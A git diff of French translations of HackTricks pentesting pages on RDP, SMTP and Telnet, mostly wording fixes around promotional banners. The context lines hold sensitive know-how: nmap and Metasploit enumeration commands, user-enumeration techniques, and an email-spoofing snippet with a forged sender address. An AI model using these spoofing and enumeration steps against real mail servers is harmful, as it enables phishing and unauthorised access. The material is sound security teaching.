@ -54,7 +54,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenez HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Informations de base
|
||||
|
||||
Développé par Microsoft, le **Remote Desktop Protocol** (**RDP**) est conçu pour permettre une connexion d'interface graphique entre des ordinateurs sur un réseau. Pour établir une telle connexion, un logiciel client **RDP** est utilisé par l'utilisateur, et simultanément, l'ordinateur distant doit faire fonctionner un logiciel serveur **RDP**. Cette configuration permet le contrôle et l'accès sans faille à l'environnement de bureau d'un ordinateur distant, amenant essentiellement son interface sur l'appareil local de l'utilisateur.
|
||||
Développé par Microsoft, le **Remote Desktop Protocol** (**RDP**) est conçu pour permettre une connexion avec interface graphique entre des ordinateurs sur un réseau. Pour établir une telle connexion, un logiciel client **RDP** est utilisé par l'utilisateur, et simultanément, l'ordinateur distant doit faire fonctionner un logiciel serveur **RDP**. Cette configuration permet le contrôle et l'accès sans faille à l'environnement de bureau d'un ordinateur distant, amenant essentiellement son interface sur l'appareil local de l'utilisateur.
|
||||
|
||||
**Port par défaut :** 3389
|
||||
```
|
||||
|
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -157,7 +157,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -171,8 +171,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -200,7 +200,7 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -216,7 +216,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Informations de base**
|
||||
|
||||
Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations à mettre en file d'attente les messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres serveur et de les télécharger périodiquement.
|
||||
Le **Simple Mail Transfer Protocol (SMTP)** est un protocole utilisé dans la suite TCP/IP pour l'**envoi et la réception d'e-mails**. En raison de ses limitations à mettre en file d'attente les messages à l'extrémité du destinataire, SMTP est souvent utilisé avec **POP3 ou IMAP**. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres de serveur et de les télécharger périodiquement.
|
||||
|
||||
Dans la pratique, il est courant que les **programmes de messagerie** utilisent **SMTP pour envoyer des e-mails**, tout en utilisant **POP3 ou IMAP pour les recevoir**. Sur les systèmes basés sur Unix, **sendmail** se distingue comme le serveur SMTP le plus fréquemment utilisé à des fins de messagerie. Le package commercial connu sous le nom de Sendmail comprend un serveur POP3. De plus, **Microsoft Exchange** fournit un serveur SMTP et offre la possibilité d'inclure un support POP3.
|
||||
|
||||
|
@ -36,9 +36,9 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### EMAIL Headers
|
||||
|
||||
Si vous avez l'opportunité de **faire envoyer un email à la victime** (via le formulaire de contact de la page web par exemple), faites-le car **vous pourriez apprendre sur la topologie interne** de la victime en voyant les en-têtes de l'email.
|
||||
Si vous avez l'opportunité de **faire envoyer un email à la victime** (via le formulaire de contact de la page web par exemple), faites-le car **vous pourriez en apprendre sur la topologie interne** de la victime en voyant les en-têtes du mail.
|
||||
|
||||
Vous pouvez également obtenir un email d'un serveur SMTP en essayant de **envoyer à ce serveur un email à une adresse inexistante** (car le serveur enverra à l'attaquant un email NDN). Mais, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.
|
||||
Vous pouvez également obtenir un email d'un serveur SMTP en essayant de **envoyer à ce serveur un email à une adresse inexistante** (car le serveur enverra à l'attaquant un mail NDN). Mais, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.
|
||||
|
||||
Vous devriez également essayer de **envoyer différents contenus car vous pouvez trouver des informations plus intéressantes** dans les en-têtes comme : `X-Virus-Scanned: by av.domain.com`\
|
||||
Vous devriez envoyer le fichier de test EICAR.\
|
||||
|
@ -83,7 +83,7 @@ Ou **automatiser** cela avec le plugin **nmap** `smtp-ntlm-info.nse`
|
|||
|
||||
### Nom du serveur interne - Divulgation d'informations
|
||||
|
||||
Certains serveurs SMTP complètent automatiquement l'adresse d'un expéditeur lorsque la commande "MAIL FROM" est émise sans une adresse complète, divulguant son nom interne :
|
||||
Certains serveurs SMTP complètent automatiquement l'adresse de l'expéditeur lorsque la commande "MAIL FROM" est émise sans une adresse complète, divulguant son nom interne :
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
|
@ -108,7 +108,7 @@ Vérifiez si vous pouvez intercepter des mots de passe à partir des paquets ver
|
|||
|
||||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
## Énumération de Bruteforce de Nom d'utilisateur
|
||||
## Énumération de bruteforce de nom d'utilisateur
|
||||
|
||||
**L'authentification n'est pas toujours nécessaire**
|
||||
|
||||
|
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -277,10 +277,10 @@ D'après [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
|||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Correspond toujours ; utilisé pour un résultat par défaut comme `-all` pour toutes les IP non correspondantes aux mécanismes précédents. |
|
||||
| A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. |
|
||||
| IP4 | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondre. |
|
||||
| IP6 | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondre. |
|
||||
| IP4 | Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondre. |
|
||||
| IP6 | Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondre. |
|
||||
| MX | Si le nom de domaine a un enregistrement MX résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de messagerie entrants du domaine). |
|
||||
| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine résout à l'adresse du client (DNS inverse confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. |
|
||||
| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client se trouve dans le domaine donné et que ce nom de domaine résout à l'adresse du client (DNS inversé confirmé), correspondre. Ce mécanisme est déconseillé et doit être évité, si possible. |
|
||||
| EXISTS | Si le nom de domaine donné résout à une adresse quelconque, correspondre (peu importe l'adresse à laquelle il résout). Cela est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. |
|
||||
| INCLUDE | Fait référence à la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement continue. Pour déléguer complètement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. |
|
||||
| REDIRECT | <p>Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. Elle est utile lors du travail avec un grand nombre de domaines partageant la même infrastructure de messagerie.</p><p>La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.</p> |
|
||||
|
@ -326,7 +326,7 @@ DKIM est utilisé pour signer les emails sortants, permettant leur validation pa
|
|||
|
||||
Par exemple, pour demander la clé, le nom de domaine et le sélecteur sont essentiels. Ceux-ci peuvent être trouvés dans l'en-tête de mail `DKIM-Signature`, par exemple, `d=gmail.com;s=20120113`.
|
||||
|
||||
Une commande pour récupérer ces informations pourrait ressembler à :
|
||||
Une commande pour récupérer cette information pourrait ressembler à :
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
# This command would return something like:
|
||||
|
@ -358,10 +358,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| pct | Pourcentage de messages soumis à filtrage | pct=20 |
|
||||
| ruf | URI de rapport pour les rapports d'analyse | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de rapport des rapports agrégés | rua=mailto:aggrep@example.com |
|
||||
| p | Politique pour le domaine organisationnel | p=quarantine |
|
||||
| p | Politique pour le domaine organisationnel | p=quarantine |
|
||||
| sp | Politique pour les sous-domaines de l'OD | sp=reject |
|
||||
| adkim | Mode d'alignement pour DKIM | adkim=s |
|
||||
| aspf | Mode d'alignement pour SPF | aspf=r |
|
||||
| adkim | Mode d'alignement pour DKIM | adkim=s |
|
||||
| aspf | Mode d'alignement pour SPF | aspf=r |
|
||||
|
||||
### **Qu'en est-il des sous-domaines ?**
|
||||
|
||||
|
@ -381,13 +381,13 @@ Cela a du sens - un sous-domaine peut très bien être dans un emplacement géog
|
|||
|
||||
### **Open Relay**
|
||||
|
||||
Lorsque des e-mails sont envoyés, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un **serveur de relais de confiance pour le destinataire**. Cependant, un défi courant est que les administrateurs pourraient ne pas être pleinement conscients des **plages IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.
|
||||
Lorsque des e-mails sont envoyés, s'assurer qu'ils ne soient pas signalés comme spam est crucial. Cela est souvent réalisé grâce à l'utilisation d'un **serveur de relais qui est de confiance pour le destinataire**. Cependant, un défi courant est que les administrateurs pourraient ne pas être pleinement conscients des **plages IP sûres à autoriser**. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.
|
||||
|
||||
Une solution de contournement que certains administrateurs utilisent pour éviter les problèmes de livraison d'e-mails, en particulier concernant les communications avec des clients potentiels ou en cours, est de **permettre les connexions depuis n'importe quelle adresse IP**. Cela se fait en configurant le paramètre `mynetworks` du serveur SMTP pour accepter toutes les adresses IP, comme indiqué ci-dessous :
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de toute source externe), l'outil `nmap` est couramment utilisé. Il comprend un script spécifique conçu pour tester cela. La commande pour effectuer un scan détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est :
|
||||
Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de n'importe quelle source externe), l'outil `nmap` est couramment utilisé. Il comprend un script spécifique conçu pour tester cela. La commande pour effectuer un scan détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant `nmap` est :
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -402,7 +402,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)
|
||||
|
||||
**Ou vous pouvez utiliser un outil :**
|
||||
**Ou vous pourriez utiliser un outil :**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||
```bash
|
||||
|
@ -438,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Cela enverra un message non signé
|
||||
</strong><strong>mail("your_email@gmail.com", "Objet du test !", "salut ! C'est un test", "De : administrator@victim.com");
|
||||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -512,7 +512,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* Techniques de manipulation de liens
|
||||
* Pièces jointes suspectes (inhabituelles)
|
||||
* Contenu d'email cassé
|
||||
* Valeurs utilisées différentes de celles des en-têtes de mail
|
||||
* Valeurs utilisées qui diffèrent de celles des en-têtes de mail
|
||||
* Existence d'un certificat SSL valide et de confiance
|
||||
* Soumission de la page à des sites de filtrage de contenu web
|
||||
|
||||
|
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -604,7 +604,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,16 +8,16 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -50,10 +50,10 @@ Le serveur est invité à vérifier si une adresse e-mail ou un nom d'utilisateu
|
|||
Cette commande est utilisée pour inverser les rôles entre le client et le serveur, sans avoir besoin d'établir une nouvelle connexion.
|
||||
|
||||
**AUTH**\
|
||||
Avec la commande AUTH, le client s'authentifie auprès du serveur, en fournissant son nom d'utilisateur et son mot de passe. C'est une autre couche de sécurité pour garantir une transmission correcte.
|
||||
Avec la commande AUTH, le client s'authentifie auprès du serveur, en fournissant son nom d'utilisateur et son mot de passe. C'est une autre couche de sécurité pour garantir une transmission appropriée.
|
||||
|
||||
**RSET**\
|
||||
Elle communique au serveur que la transmission d'e-mail en cours va être terminée, bien que la conversation SMTP ne soit pas fermée (comme dans le cas de QUIT).
|
||||
Elle communique au serveur que la transmission d'e-mail en cours va être terminée, bien que la conversation SMTP ne sera pas fermée (comme dans le cas de QUIT).
|
||||
|
||||
**EXPN**\
|
||||
Cette commande SMTP demande une confirmation concernant l'identification d'une liste de diffusion.
|
||||
|
@ -66,7 +66,7 @@ Elle termine la conversation SMTP.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -80,9 +80,9 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -45,7 +45,7 @@ Le script `telnet-ntlm-info.nse` obtiendra des informations NTLM (versions Windo
|
|||
|
||||
Dans le [RFC telnet](https://datatracker.ietf.org/doc/html/rfc854) : Dans le protocole TELNET, il existe diverses "**options**" qui seront sanctionnées et peuvent être utilisées avec la structure "**DO, DON'T, WILL, WON'T**" pour permettre à un utilisateur et à un serveur de convenir d'utiliser un ensemble de conventions plus élaboré (ou peut-être juste différent) pour leur connexion TELNET. Ces options pourraient inclure le changement de l'ensemble de caractères, le mode d'écho, etc.
|
||||
|
||||
**Je sais qu'il est possible d'énumérer ces options, mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.**
|
||||
**Je sais qu'il est possible d'énumérer ces options mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.**
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -103,7 +103,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
